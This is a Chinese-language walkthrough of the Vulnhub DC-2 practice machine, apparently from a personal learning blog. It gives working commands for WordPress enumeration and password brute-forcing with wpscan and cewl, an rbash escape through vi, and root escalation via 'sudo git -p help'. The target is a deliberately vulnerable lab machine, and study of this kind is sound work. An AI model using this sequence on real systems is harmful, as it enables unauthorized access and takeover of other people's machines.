Vulnhub DC-2靶机渗透
信息搜集
nmap扫描端口
nmap -sV 192.168.146.140 -p1-10000
开了80端口,那就直接访问一下把。(7744端口是ssh端口,之后会用到)
输入ip,发现url处变成dc-2但是无法访问。估计是要设置一下hosts。
win10一般在C:\Windows\System32\drivers\etc下,文件尾部加上 ip dc-2即可。
一看这主页,诶,这不是wp吗? 直接上wpscan扫描一下呀。
wpscan --url dc-2 --enumerate vp //扫描易受攻击的插件
wpscan --url dc-2 --enumerate vt //扫描易受攻击的模板
wpscan -h //帮助
getFlag
flag1
访问网页直接有。
大概意思就是用cewl生成一个字典,然后去爆破。
众所周知,wp不改动的话,后台登陆页面就是wp-login.php,这里并没有改动。
先祭出wpscan爆破下用户名,有三个admin、jerry、tom。
wpscan --url dc-2 --enumerate u
本想直接用crunch生成字典,但是感觉太大了,无奈放弃。我选择学学cewl!
了解了一下,发现这个工具还挺神奇,它并不是无脑生成字典,爬取网页的内容来制作密码字典,有点撞库的意味昂。说干就干。
cewl -w pwd.txt dc-2 //爬取的内容输出到文件pwd.txt
cat pwd.txt | wc -l //238,总共238行,不多不多
wpscan --url dc-2 -P pwd.txt -U admin //爆破admin的密码,当然爆不出来啦
wpscan --url dc-2 -P pwd.txt -U jerry //爆破jerry密码为adipiscing
wpscan --url dc-2 -P pwd.txt -U tom //爆破tom密码为parturient
flag2
使用jerry登陆进去,在Pages中看到flag2
退出换tom登陆没什么信息
flag3
flag2提示我们要换思路,那么这时我就有一种强烈的想法。
这些账号能不能ssh? 信息搜集的时候22端口是改为了7744的,这不是此地无银三百两吗?
试试了jerry,连不上去,先放着。ssh jerry@192.168.146.140 -p 7744
试试tom,连上了。ssh tom@192.168.146.140 -p 7744
无法使用cat、tail、head等读取flag3(绝望...),然后尝试使用more/less,发现less可以读取文件。
感觉下一步已经很明确了,就是su jerry。
但是这rbash又是啥?搜索一下资料。
rbash是Restricted Shell,既受限的shell,它与一般标准shell的区别在于会限制执行一些行为。
常见的绕过方式:https://www.freebuf.com/articles/system/188989.html
这里其实vi flag3.txt也是可以的
flag4
这里我用上面链接的方法,直接跳过了su步骤,拿到了flag4...
//在一些编辑器或命令中设置shell变量然后执行
vi 1.txt
:set shell=/bin/sh
:shell
less ../jerry/flag4.txt
当然,我们可以继续研究怎么su jerry,现在我们有了/bin/sh可以尝试引入环境变量了.
试一试就能发现,环境变量不再是只读的了。
export PATH=$PATH:/bin/ //su在/bin下
su jerry
可以看到我们成为了jerry,也可以读到flag4.txt了
可以看到,这里说还差一步,并且最后一步要使用git。
flag5
最后提示要用git,那就查查git提权。 查到相关文章,其实就是sudo提权。
//直接找到利用方法
sudo git -p help //使用这个前要先将/usr/bin引入环境变量
!/bin/bash
一脸懵逼好吧... 那就继续学习下,看看是什么原理。
1、sudo是给普通用户某个命令有root权限,并不需要给root密码,是一种临时的权限
2、当某个程序以root身份运行时,它执行的命令也是以root身份执行的。因此,我们可以使用git来启动一个root权限的shell。这样我们就可以执行任何命令了。
总结
感觉自己还有很多东西要学习的。
明天起来继续学习:cewl、rbash设置与绕过、sudo提权。